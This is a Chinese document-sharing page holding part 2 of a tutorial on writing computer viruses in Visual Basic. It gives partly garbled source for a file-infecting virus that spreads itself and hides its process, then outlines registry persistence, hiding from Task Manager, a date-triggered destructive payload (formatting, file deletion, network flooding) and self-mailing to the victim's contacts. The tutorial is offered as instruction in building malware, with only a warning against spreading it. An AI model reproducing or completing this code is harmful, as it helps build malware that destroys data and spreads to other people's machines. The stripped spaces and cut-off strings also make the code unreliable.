VB病毒编写的详细教程(两个例子)(2)

2019-08-29 21:31

Victim=Dir()'继续查找下一个可感染的文件

Wend

OpenMyPath&MyFileForBinaryAccessReadAs#FF

Length=(LOF(FF)-MySize)'当前文件的长度减去病毒文件长度,取得的值,存储到变量

中。

IfLength>0Then'如果长度大于0,说明文件被感染,否则说明这是一个未被感染的文件。

vbArray=Space(Length)'根据文件大小建立缓存

Get#FF,MySize,vbArray'Gettheoldhostdatafromoutofthis file Close#FF

OpenMyPath&App.EXEName&\ As#FF

Put#FF,,vbArray'放置原始文件的数据到一个临时文件中 Close#FF

idProg=Shell(MyPath&App.EXEName&\ s)'运行原始文件代码

hProg=OpenProcess(PROCESS_ALL_ACCESS,False,idProg)'取得正在运 行的应用程序的代码号

GetExitCodeProcesshProg,iExit

DoWhileiExit=STILL_ACTIVE'一直等待直到程序结束 DoEvents

GetExitCodeProcesshProg,iExit Loop

OnErrorResumeNext

KillMyPath&App.EXEName&\删除原始 文件代码

KillMyPath&App.EXEName&\再次进行 删除,以确信程序已经被删除

KillMyPath&App.EXEName&\再删除一 次 Else

Close#1

FileCopyMyPath&MyFile,\复制文件到A盘

FileCopyMyPath&MyFile,\复制文件到C盘 EndIf End EndSub

从上面的程序及注释我们可以看出病毒是怎样进行感染和传播的了。现在你肯定会说,原来就这么简单啊!是啊,其实很多东西看起来很复杂,不过当你真正的了解了,才知道不过如此啊!这个病毒程序也并不特别的好,还是存在一些缺点的。比如在判断是不是可执行的EXE文件时,只是简单的是了DIR命令,这样容易漏掉一些扩展名不是EXE的文件,但它又确实是可执行的文件。还有,在文件复制的时候,只是简单地将文件复制到A盘是不可取的。不过,这个程序毕竟给了我们一个编制病毒程序的思路啊。

有些病毒(主要是指木马类的程序)还具写一些特殊的功能。比如:隐藏进程。隐藏进程在Windows9X下是很容易实现的。只要简单地将自身注册为一个系统进程就可以从任务栏中消失。但是在WindowsNT和Windows2000下这种方法已经失效了。不过随着技术的发展,各种更高级的隐藏进程的方法又出现了,比如DLL陷阱技术等等。隐藏进程在VB下通过调用API函数也是很容易实现的。

PublicDeclareFunctionGetCurrentProcessIdLib\ ong

PublicDeclareFunctionRegisterServiceProcessLib\ aldwProcessIdAsLong,

ByValdwTypeAsLong)AsLong SubHideMe() DimretAsLong

ret=RegisterServiceProcess(GetCurrentProcessId,1) EndSub

SubUnHideMe()

DimretAsLong

ret=RegisterServiceProcess(GetCurrentProcessId,0) EndSub

例子2:

相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。 用VB编写病毒需要考虑到如下几点:

* 感染主机

首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\\Windows\\system\\),

可用filecopy语句实现;如果病毒已感染主机则结束判断。

例如,判断C:\\windows\\system\\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

病毒源文件名为game.exe 声明部分: \定义 FileExists% 函数 public success%

Function FileExists%(fname$) On Local Error Resume Next Dim ff%

ff% = FreeFile

Open fname$ For Input As ff% If Err Then

FileExists% = False Else

FileExists% = True

End If Close ff% End Function

代码部分:\判断文件是否存在

success% = FileExists%(\

If success% = False Then \病毒不存在则拷贝病毒到计算机 FileCopy \ ... \修改注册表,将其加入RUN中。(省略若干代码) End If

* 开机启动病毒

在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料) * 任务管理器

在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。

* 病毒发作条件

可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例: if day(date)=16 then \是发作日期,取值为1-31的整数

... ... \当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码) end if

* 病毒的破坏性

编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统

后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。

* 病毒的繁殖

原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。

读完本文章相信您已对病毒的编写思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。


VB病毒编写的详细教程(两个例子)(2).doc 将本文的Word文档下载到电脑 下载失败或者文档不完整,请联系客服人员解决!

下一篇:资产评估工作方案(投标)

相关阅读
本类排行
× 注册会员免费下载(下载后可以自由复制和排版)

马上注册会员

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: